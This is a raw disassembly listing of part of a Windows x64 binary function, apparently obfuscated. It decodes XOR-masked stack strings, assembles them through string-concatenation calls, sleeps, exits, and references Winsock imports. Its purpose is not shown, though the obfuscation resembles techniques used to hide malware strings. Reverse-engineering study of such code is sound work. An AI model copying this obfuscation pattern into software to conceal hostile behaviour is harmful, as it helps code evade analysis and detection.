mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1248], rax
movabs rax, 0x84b9c445643140ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1250], rax
movabs rax, 0x5736ae10923a3e88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1258], rax
movabs rax, 0x4a82121f3ba0736e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1260], rax
movabs rdx, 0x2347e3d20914cdaa
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1268], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3b80], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3b88], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3b90], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3b98], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ba0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3ba8], rax
vmovdqu ymm0, ymmword [rbp + 0x1240]
vpxor ymm1, ymm0, ymmword [rbp + 0x3b80]
vmovdqa ymmword [rbp + 0x1240], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1260]
vpxor xmm0, xmm0, xmmword [rbp + 0x3ba0]
vmovdqa xmmword [rbp + 0x1260], xmm0
lea r8, [0x140127090]
lea rdx, [rbp + 0x1240]
lea rcx, [rbp + 0x2008]
vzeroupper
call fcn.14003f9f0
nop
lea r8, [rbp + 0x5f0]
mov rdx, rax
lea rcx, [rbp + 0x2028]
call fcn.14003fb50
nop
lea r8, [0x1401284a0]
mov rdx, rax
lea rcx, [rbp + 0x2048]
call fcn.1400404b0
nop
lea r8, [rbp + 0x820]
mov rdx, rax
lea rcx, [rbp + 0x2068]
call fcn.14003fb50
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2088]
call fcn.140040490
nop
lea r8, [rbp + 0x600]
mov rdx, rax
lea rcx, [rbp + 0x20a8]
call fcn.14003fb50
nop
lea r8, [rbp + 0x2c48]
mov rdx, rax
lea rcx, [rbp + 0x20c8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x610]
mov rdx, rax
lea rcx, [rbp + 0x20e8]
call fcn.14003fb50
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2108]
call fcn.140040490
nop
lea r8, [rbp + 0x620]
mov rdx, rax
lea rcx, [rbp + 0x2128]
call fcn.14003fb50
nop
lea r8, [rbp + 0x30e8]
mov rdx, rax
lea rcx, [rbp + 0x2148]
call fcn.1400404b0
nop
lea r8, [rbp + 0x1f0]
mov rdx, rax
lea rcx, [rbp + 0x2168]
call fcn.14003fb50
nop
mov rdx, rsi
mov rcx, rax
call fcn.14002ed50
nop
lea rcx, [rbp + 0x2148]
call fcn.140007240
nop
lea rcx, [rbp + 0x2128]
call fcn.140007240
nop
lea rcx, [rbp + 0x2108]
call fcn.140007240
nop
lea rcx, [rbp + 0x20e8]
call fcn.140007240
nop
lea rcx, [rbp + 0x20c8]
call fcn.140007240
nop
lea rcx, [rbp + 0x20a8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2088]
call fcn.140007240
nop
lea rcx, [rbp + 0x2068]
call fcn.140007240
nop
lea rcx, [rbp + 0x2048]
call fcn.140007240
nop
lea rcx, [rbp + 0x2028]
call fcn.140007240
nop
lea rcx, [rbp + 0x2008]
call fcn.140007240
nop
lea rcx, [rbp + 0x2308]
call fcn.140007240
nop
lea rcx, [rbp + 0x2328]
call fcn.140007240
call fcn.1400344c0
mov ecx, 0x41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [rbp + 0x2348]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xac8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xad0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xad8], rax
movabs rax, 0x72b5250f28a82922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae0], rax
movabs rax, 0x1072d6e73b27fe92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae8], rax
movabs rax, 0x7e67e7ee22ecd9d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaf0], rax
movabs rax, 0xda43a73dbb163a9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaf8], rax
movabs rax, 0xc45ae7e34dce4d68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb00], rax
movabs rax, 0x30db513bd544760c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb08], rax
movabs rax, 0xa39f209080b2f762
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb10], rax
movabs rax, 0xb55cb0ca11517e1a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb18], rax
movabs rax, 0xa19fc0ce34216d6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb20], rax
movabs rax, 0x80b9359fca992200
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb28], rax
movabs rax, 0x89ca9e0a2dc8da81
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb30], rax
movabs rax, 0x280804976705f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb38], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x34a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x34a8], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34b0], rax
movabs r13, 0x325eed30e2526ea8
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x34b8], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x34f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x34f8], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3500], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3508], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3510], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3518], rax
vmovdqu ymm0, ymmword [rbp + 0xac0]
vpxor ymm1, ymm0, ymmword [rbp + 0x34a0]
vmovdqa ymmword [rbp + 0xac0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xae0]
vpxor ymm1, ymm0, ymmword [rbp + 0x34c0]
vmovdqa ymmword [rbp + 0xae0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb00]
vpxor ymm1, ymm0, ymmword [rbp + 0x34e0]
vmovdqa ymmword [rbp + 0xb00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3500]
vmovdqa ymmword [rbp + 0xb20], ymm1
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0x2348]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs r14, 0x2bc2b7563172df49
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x200], rcx
movabs rax, 0x8fbdd4d64b523bd5
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x208], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x35e0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x35e8], rax
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x35e0]
movdqa xmmword [rbp + 0x200], xmm0
movabs rax, 0x5390b64127479739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0x8fbdb4b62b1654a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x35d0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x35d8], rax
movdqa xmm0, xmmword [rbp + 0x230]
pxor xmm0, xmmword [rbp + 0x35d0]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0x24e8]
call fcn.140034cd0
mov rdi, rax
movabs rax, 0x483971336529739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x270], rcx
movabs rax, 0x8fbdb4b60b364ee3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x278], rcx
movabs r12, 0x69e2d9335502b719
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x35c0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x35c8], rax
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rbp + 0x35c0]
movdqa xmmword [rbp + 0x270], xmm0
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x8fbdb4b62b3654bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x35b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x35b8], rax
movdqa xmm0, xmmword [rbp + 0x240]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x240], xmm0
mov edx, 0x7a
lea rcx, [rbp + 0x24c8]
call fcn.1400112d0
mov rbx, rax
movabs rax, 0x483ab543a70e739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x860], rcx
movabs rax, 0xe1d2ddc5597322a6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x868], rcx
movabs rax, 0xe0d7f665447505a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x870], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3480], rax
movabs r15, 0x8fbdb4b62b167486
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3488], rax
movabs rcx, 0xe0d7f66544552593
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3490], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3498], rax
vmovdqu ymm0, ymmword [rbp + 0x860]
vpxor ymm1, ymm0, ymmword [rbp + 0x3480]
vmovdqa ymmword [rbp + 0x860], ymm1
movabs rax, 0x78db0402767e139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x8fbdb4b62b3654bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x35a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x35a8], rax
vmovdqa xmm0, xmmword [rbp + 0x220]
vpxor xmm0, xmm0, xmmword [rbp + 0x35a0]
vmovdqa xmmword [rbp + 0x220], xmm0
movabs rax, 0x1d91ac617562d779
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rax, 0xe0cef696446424a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
movabs rax, 0xe0d7f645646f05f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3520], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3528], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3530], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3538], rax
vmovdqu ymm0, ymmword [rbp + 0x840]
vpxor ymm1, ymm0, ymmword [rbp + 0x3520]
vmovdqa ymmword [rbp + 0x840], ymm1
lea r8, [0x140127090]
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x24a8]
vzeroupper
call fcn.14003f9f0
nop
lea r8, [rbp + 0x220]
mov rdx, rax
lea rcx, [rbp + 0x2488]
call fcn.14003fb50
nop
lea r8, [0x1401284a0]
mov rdx, rax
lea rcx, [rbp + 0x2468]
call fcn.1400404b0
nop
lea r8, [rbp + 0x860]
mov rdx, rax
lea rcx, [rbp + 0x2448]
call fcn.14003fb50
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2428]
call fcn.140040490
nop
lea r8, [rbp + 0x240]
mov rdx, rax
lea rcx, [rbp + 0x2408]
call fcn.14003fb50
nop
lea r8, [rbp + 0x2c48]
mov rdx, rax
lea rcx, [rbp + 0x23e8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x270]
mov rdx, rax
lea rcx, [rbp + 0x23c8]
call fcn.14003fb50
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x23a8]
call fcn.140040490
nop
lea r8, [rbp + 0x230]
mov rdx, rax
lea rcx, [rbp + 0x2388]
call fcn.14003fb50
nop
lea r8, [rbp + 0x200]
mov rdx, rax
lea rcx, [rbp + 0x2368]
call fcn.14003fb50
nop
mov rdx, rsi
mov rcx, rax
call fcn.14002ed50
nop
lea rcx, [rbp + 0x2388]
call fcn.140007240
nop
lea rcx, [rbp + 0x23a8]
call fcn.140007240
nop
lea rcx, [rbp + 0x23c8]
call fcn.140007240
nop
lea rcx, [rbp + 0x23e8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2408]
call fcn.140007240
nop
lea rcx, [rbp + 0x2428]
call fcn.140007240
nop
lea rcx, [rbp + 0x2448]
call fcn.140007240
nop
lea rcx, [rbp + 0x2468]
call fcn.140007240
nop
lea rcx, [rbp + 0x2488]
call fcn.140007240
nop
lea rcx, [rbp + 0x24a8]
call fcn.140007240
nop
lea rcx, [rbp + 0x24c8]
call fcn.140007240
nop
lea rcx, [rbp + 0x24e8]
call fcn.140007240
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x8fbdb4b62b721bf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3590], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3598], rax
movdqa xmm0, xmmword [rbp + 0x210]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x2508]
call fcn.140007250
mov rcx, rax
call fcn.14002f6d0
call fcn.1400344c0
nop
lea rcx, [rbp + 0x2d80]
call fcn.140007240
nop
lea rcx, [rbp + 0x3150]
call fcn.14000dce0
nop
lea rcx, [rbp + 0x2c48]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d60]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ea0]
call fcn.14003eca0
nop
lea rcx, [rbp + 0x2d40]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d20]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d00]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ce0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2cc0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ca0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2c68]
call fcn.1400114b0
mov eax, reloc.WS2_32.dll_ntohs
mov rcx, qword [rbp + 0x4360]
xor rcx, rsp
call fcn.1400e2360
lea r11, [rsp + 0x43d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret